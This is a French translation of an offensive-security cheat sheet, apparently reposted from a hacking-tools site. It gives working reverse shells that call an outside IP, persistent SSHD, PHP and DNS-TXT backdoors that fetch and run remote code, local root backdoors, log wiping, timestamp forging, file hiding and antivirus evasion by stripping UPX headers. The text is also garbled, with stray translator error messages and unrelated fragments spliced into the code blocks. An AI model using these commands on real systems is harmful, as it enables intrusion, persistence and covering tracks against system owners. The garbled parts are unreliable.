- Travaillez sur l'**ensemble d'outils REMnux** en utilisant l'[environnement de développement basé sur Docker](https://docs.remnux.org/install-distros/remnux-as-a-container).
- Il existe divers autres outils d'analyse de malwares en ligne de commande qui peuvent être utiles pour l'analyse comportementale :
    - Outils **Joe Sandbox CLI** pour soumettre des échantillons à Joe Sandbox
    - Outils **VMRay CLI** pour interagir avec VMRay```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.i.f. Reverse shell sans /dev/tcp

Les systèmes embarqués n'ont pas toujours Bash et l'astuce /dev/tcp/ ne fonctionnera pas. Il existe de nombreuses autres méthodes (Python, PHP, Perl, ..). Notre préférée consiste à téléverser netcat et à utiliser netcat ou telnet :

Sur le système distant :```sh nc -e /bin/sh -vn 3.13.3.7 1524

root@kitploit:~
Variante si *'-e'* n'est pas pris en charge :```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
  • Sur les shells modernes, cela peut être raccourci en { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (merci IA_PD).
  • L'astuce | : ne fonctionnera pas sur C-Shell/tcsh (FreeBSD), le shell Bourne d'origine (Solaris) ou le shell Korn (AIX). Utilisez mkfifo à la place.

Variante pour /bin/sh plus ancien :```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

root@kitploit:~
Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Variante Telnet lorsque mkfifo n'est pas supporté (Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

root@kitploit:~
Note: N'oubliez pas de `rm /tmp/.fio` après la connexion.

<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell avec remote.moe et ssh (chiffré)**

Il est possible de tunneler du TCP brut (par exemple un reverse shell bash) via [remote.moe](https://remote.moe) :

Sur votre poste de travail :```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

Sur la cible (nécessite SSH et Bash) :```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'

root@kitploit:~
Sur la cible (alternative ; nécessite ssh, bash et mkfifo) :```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

5.i.i. Reverse shell avec Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root@kitploit:~
<a id="reverse-shell-perl"></a>
**5.i.j. Reverse shell avec Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

5.i.k. Reverse shell avec PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

root@kitploit:~
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Mettre à niveau un reverse shell vers un shell PTY**

Tous les reverse shells ci-dessus sont limités. Par exemple, *sudo bash* ou *top* ne fonctionneront pas. Pour les faire fonctionner, nous devons mettre à niveau le shell vers un véritable shell PTY :```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

Autres endpoints : Consul propose également un endpoint non authentifié /v1/health/service/:service. Sur cet endpoint, l'ajout du paramètre ns effectue une requête récursive sur tous les namespaces et nous pouvons filtrer les réponses à l'aide du paramètre ns. Par exemple, ns=myns renverra les services dans le namespace myns, tandis que si nous utilisons ns=_, il renverra tous les services. Cela peut être exploité pour lister tous les services dans tous les namespaces, contournant ainsi les restrictions de namespace.

Par ailleurs, notez qu'il existe des endpoints raw_exec et exec dans Nomad qui peuvent être exploités pour des mouvements latéraux.```sh

Using python

exec python -c 'import pty; pty.spawn("/bin/bash")'

root@kitploit:~
<a id="reverse-shell-interactive"></a>
**5.ii.b. Mettre à niveau un reverse shell vers un shell entièrement interactif**

...et si nous voulons aussi utiliser Ctrl-C etc., alors nous devons aller jusqu'au bout et mettre à niveau le reverse shell vers un véritable shell interactif entièrement coloré :```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

I'm ready to translate the chunk, but I notice the INPUT section is empty — no source text was provided. Please supply the actual content of chunk 322, and I'll translate it into French following all the formatting rules.```

On your terminal execute:

stty raw -echo icrnl opost; fg

root@kitploit:~
The input chunk is empty — there is no content to translate. Please provide the actual Markdown text for chunk 324.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

5.ii.c. Reverse shell avec socat (entièrement interactif)

...ou installez socat et réglez ça sans trop de bidouillage :```sh

on attacker's host (listener)

socat file:tty,raw,echo=0 tcp-listen:1524

on target host (reverse shell)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

root@kitploit:~
---
<a id="backdoor"></a>
## 6. Backdoors

Voir [Reverse Shell / Dumb Shell](#reverse-shell) pour les reverse shells simples en une ligne.

<a id="gsnc"></a>
**6.i. Reverse shell avec gs-netcat**

Nous utilisons principalement le script de déploiement automatisé de gs-netcat : [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

ou```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

root@kitploit:~
ou déployez gsocket en exécutant votre propre serveur de déploiement :```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

6.ii. Reverse shell avec sshx.io (chiffré)

Accédez à un shell distant depuis votre navigateur web https://sshx.io.

Passez sshx-backdoor directement en mémoire :```shell echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)

root@kitploit:~
Ou la version simpliste :```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

6.iii. Plus petite porte dérobée SSHD

  • Survit à apt update
  • Ne crée aucun nouveau fichier.
  • N'utilise ni authorized_keys ni PAM.

Ajouter votre clé à authorized_keys est surutilisé 😩. Au lieu de cela, en tant que root, copiez-collez ceci une fois sur n'importe quelle cible. Cela ajoutera une seule ligne à la configuration de SSHD et vous permettra de vous connecter pour toujours :```shell backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf) [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%.conf}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; } echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D" command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd

root@kitploit:~
Comment ça fonctionne :
- La clé d'hôte SSHD n'est qu'une simple clé ed25519.
- N'importe quelle clé ed25519 peut être utilisée pour authentifier un utilisateur.
- SSHD vérifie `~/.ssh/authorized_keys` (mais cette astuce a été trop utilisée).
- Au lieu de cela, configurez SSHD pour qu'il vérifie également `/etc/ssh/sshd_host_ed25519_key.pub` pour les clés d'authentification de connexion.
- SSHD vérifiera désormais `~/.ssh/authorized_keys` _et_ `/etc/ssh/ssh_host_ed25519_key.pub` pour les clés de connexion valides.
- Utilisez la clé secrète `/etc/ssh/sshd_host_ed25519_key` pour vous connecter à la cible.

<a id="backdoor-network"></a>
**6.vi. Accès à distance à un réseau entier**

Installez [gs-netcat](https://github.com/hackerschoice/gsocket). Il crée un nœud de sortie SOCKS sur le LAN privé de l'hôte, accessible via le réseau de relais Global Socket sans avoir besoin d'exécuter votre propre serveur de relais (par exemple, accédez directement au LAN privé distant depuis votre poste de travail) :```sh
gs-netcat -l -S       # compromised Host

Maintenant, depuis votre poste de travail, vous pouvez vous connecter à TOUT hôte sur le LAN privé de l'hôte :```sh gs-netcat -p 1080 # Your workstation.

Access route.local:22 on the Host's private LAN from your Workstation:

socat - "SOCKS4a:127.1:route.local:22"

root@kitploit:~
Lisez [Utiliser n'importe quel outil via Socks Proxy](#scan-proxy).

Autres méthodes :
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - notre propre article
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - de segfault.net vers n'importe quel réseau (interne).

<a id="php-backdoor"></a>
**6.v. La plus petite backdoor PHP**

Ajoutez cette ligne au début de n'importe quel fichier PHP :```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

The base64-encoded content appears to be missing from the input — no actual text was provided to translate. Please re-send the chunk with its encoded content.```php if(isset($_POST[0])){system($_POST[0]);die;}

root@kitploit:~
Testez la backdoor :```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Parfois, system() est interdit. Ajoutez eval() pour permettre l'exécution de code PHP à distance en secours. Masquez dans d'autres commentaires base64 pour un peu d'obfuscation :```php

root@kitploit:~
Déclenchez avec l'un de ces éléments pour exécuter une commande ou du code PHP :```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

6.vi. Plus petite backdoor à tunnel DNS inversé

...en PHP :

Exécutez des commandes arbitraires sur un serveur qui n'est pas accessible depuis l'Internet public en utilisant un déclencheur DNS inversé.

Ajoutez cette ligne (l'implant) au début de n'importe quel fichier PHP :```php

root@kitploit:~
L'implant demande le payload via une requête DNS TXT vers le domaine `b00m.team-teso.net`. Une fois déclenché, il crée `/tmp/.b00m` et notifie THC (via un callback app.interactsh.com). *Merci* d'utiliser votre propre domaine et de créer également votre propre payload. Exemple :```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
  • La charge utile TXT DNS est limitée à 2 048 caractères (parfois 65 535 caractères).
  • L'implant est un bootloader. Utilisez une boucle while pour télécharger et exécuter une charge utile plus volumineuse via le DNS.
  • Consultez nos endroits préférés pour enregistrer un domaine anonymement. Le niveau gratuit de Cloudflare est un bon point de départ.

…en BASH :

Ajoutez cet implant au ~/.bashrc de la cible ou au crontab (demo-paypload) :```shell

Use a "double bash" to redirect also errors from $()-subshell to /dev/null:

bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null

root@kitploit:~
ou changez le demo-payload pour un payload élaboré :
- Démarre un démon en arrière-plan pour interroger chaque heure pour l'exécution de commandes.
- Ne dépend que de bash, dig et base64.
- Se cache sous `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- L'exemple utilise à nouveau `b00m2.team-teso.net` et crée /tmp/.b00m chaque heure.

Coupez et collez ce qui suit dans le shell de la cible pour générer l'implant en une ligne :```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

Ajoutez le résultat sur une ligne du script à n'importe quel script de démarrage sur la cible (utilisez crontab, ~/.bashrc, udev ou ExecStartPre=). Voici un exemple astucieux pour /usr/lib/systemd/system/ssh.service (avec une obfuscation supplémentaire) :``` ... [Service] EnvironmentFile=-/etc/default/ssh Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash" ExecStartPre=-bash -c 'eval $SSHD' ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ...

root@kitploit:~
...en PERL :
---
La même chose mais nécessitant seulement perl + bash (pas dig) :```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

(merci à LouCipher pour une version perl)

...en PYTHON:

Copiez & collez ce qui suit dans votre shell:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }

root@kitploit:~
Générez votre payload (`egg.py` sera exécuté sur la cible) :```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

Générez votre implant (et suivez les instructions):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py

root@kitploit:~
<a id="ld-backdoor"></a>
**6.vii. Backdoor racine locale**

#### 1. Installer une backdoor dans le chargeur dynamique avec setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
  1. Implémentation de la vérification de sécurité

La vérification de sécurité vérifie que l'arbre de commande analysé n'est pas malformé/compromis. Bien que cette vérification nécessite un accès aux composants internes du shell, un attaquant avec un tel accès aurait probablement déjà un contrôle significatif. La vérification est implémentée comme suit :

root@kitploit:~
// Safety checking function for command parsing
// Guarantees the tree structure isn't malformed/compromised

function safeCheck(parseTree, recursive = true) {
    // ... (recursive check logic)
}

La configuration existe dans les fichiers AUTHORS, INSTALL et OPERATORS du répertoire des règles.```bash

Execute as non-root user to get root

fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

root@kitploit:~
#### 2. Le bon vieux b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

l```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'

root@kitploit:~
<a id="implant"></a>
**6.viii. Implant auto-extractible**

Créez un script shell auto-extractible à l'aide de [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (voir le source pour des exemples).

Exemple simple :```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

Les exemples concrets sont les meilleurs :

  1. Créez un implant qui installe gsocket et appelle notre webhook en cas de succès :```sh ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

On the target system do: 'cat egg.sh | bash' or './egg.sh'

root@kitploit:~
2. Renommez `egg.sh` en `update-for-fools.txt` et téléversez-le en tant que blob dans le dépôt GitHub de [Signal](https://www.signal.org/).

3. Ne trompez pas les gens pour mettre à jour Signal en utilisant cette commande ❤️ :```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. Reconnaissance d'hôte


Obtenez des informations essentielles sur un hôte :```sh bash -c "$(curl -fsSL https://thc.org/ws)"

root@kitploit:~
ou```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

netstat s'il n'y a pas de netstat/ss/lsof:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

root@kitploit:~
Vérification rapide du système```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Trouver tous les binaires suid/sgid:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null

root@kitploit:~
Trouver tous les répertoires inscriptibles :```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

Trouver les mots de passe locaux (en utilisant noseyparker ou trufflehog) :```sh curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static chmod 700 np &&
./np scan . &&
./np report --color=always | less -R

root@kitploit:~
- Utilisez [PassDetective](https://github.com/aydinnyunus/PassDetective) pour trouver les mots de passe dans ~/.*history
- Utilisez [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) pour extraire et déchiffrer les mots de passe Chrome depuis le processus en cours (Windows uniquement)
- Extrayez les mots de passe des navigateurs à l'aide de [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

En utilisant `grep` :```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

Trouver des sous-domaines ou des e-mails dans les fichiers :```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }

find_subdomain .foobar.com | anew | resolv

find_subdomain @gmail.com | anew

root@kitploit:~
---
<a id="shell-hacks"></a>
## 8. Astuces Shell
<a id="shred"></a>
**8.i. Déchiqueter et effacer un fichier**```sh
shred -z foobar.txt

No input content was provided to translate.```sh

SHRED without shred command

shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt

root@kitploit:~
Remarque: Ou déployez vos fichiers dans le répertoire */dev/shm* afin qu'aucune donnée ne soit écrite sur le disque dur. Les données seront supprimées au redémarrage.

Remarque: Ou supprimez le fichier, puis remplissez tout le disque dur avec /dev/urandom, puis exécutez rm -rf sur le fichier dump.

<a id="restore-timestamp"></a>
**8.ii. Restaurer la date d'un fichier**

Supposons que vous ayez modifié */etc/passwd* mais que la date du fichier indique désormais que */etc/passwd* a été modifié. Utilisez *touch* pour changer la date du fichier en celle d'un autre fichier (dans cet exemple, */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Utilisez hackshell et ctime /etc/passwd pour ajuster également le ctime et l'heure de naissance.

8.iii. Effacer le journal

Cela remettra le fichier journal à 0 sans avoir à redémarrer syslogd, etc. :```sh

/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

root@kitploit:~
Cela supprimera toute ligne contenant l'adresse IP `1.2.3.4` du fichier journal :```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

Exemples :```sh

xlog "1.2.3.4" /var/log/auth.log

xlog "${SSH_CLIENT%% *}" /var/log/auth.log

xlog "^2023.* thc.org" foo.log

root@kitploit:~
<a id="shell-hide-files"></a>
**8.iv. Masquer les fichiers à cet utilisateur sans privilèges root**

Notre répertoire de travail favori est */dev/shm/*. Cet emplacement est une mémoire volatile et sera perdu au redémarrage. NO LOGZ == NO CRIME.

Masquer les fichiers permanents :

Méthode 1 :```sh
alias ls='ls -I system-dev'

Ceci masquera le répertoire system-dev de la commande ls. Placez-le dans le ~/.profile de l'utilisateur ou dans /etc/profile à l'échelle du système.

Méthode 2 : Astuces des années 80. Envisagez tout répertoire que l'administrateur inspecte rarement (comme /boot/.X11/.. ou similaire) :```sh mkdir '...' cd '...'

root@kitploit:~
Méthode 3 :
Unix autorise des noms de fichiers avec à peu près n'importe quel caractère ASCII sauf 0x00. Essayez la tabulation (*\t*). Il se trouve que la plupart des administrateurs ne savent pas comment faire un cd dans un tel répertoire.```sh
mkdir $'\t'
cd $'\t'

8.v. Rendre un fichier immuable

Cela redirigera /var/www/cgi/blah.cgi vers /boot/backdoor.cgi. Le fichier blah.cgi ne peut pas être modifié ni supprimé (sauf démontage).```sh

/boot/backdoor.cgi contains our backdoor

touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

root@kitploit:~
<a id="nosudo"></a>
**8.vi. Changer d'utilisateur sans sudo/su**

Nécessaire pour prendre des captures d'écran de sessions X11 (c'est-à-dire `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` ou `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

8.vii. Obfusquer et crypter la charge utile

Utilisez UPX pour empaqueter un binaire ELF (exemple /bin/id):```shell BIN="mybin" upx -qqq /bin/id -o "${BIN}"

root@kitploit:~
Nettoyez l'[en-tête UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) et le 2e en-tête ELF pour tromper l'antivirus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Optionnellement, nettoyez les signatures et traces d'UPX :```shell cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$
=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx" mv "${BIN}.tmpupx" "${BIN}" grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.
)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}" perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"

root@kitploit:~
Vérifiez que le binaire ne peut pas être dépaqueté:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

Optionnellement, chiffrez-le avec bincrypter.

8.viii. Déployer une backdoor sans toucher au système de fichiers

Lancez une backdoor sans écrire sur le système de fichiers, ou lorsque tous les emplacements accessibles en écriture sont montés avec le flag noexec.

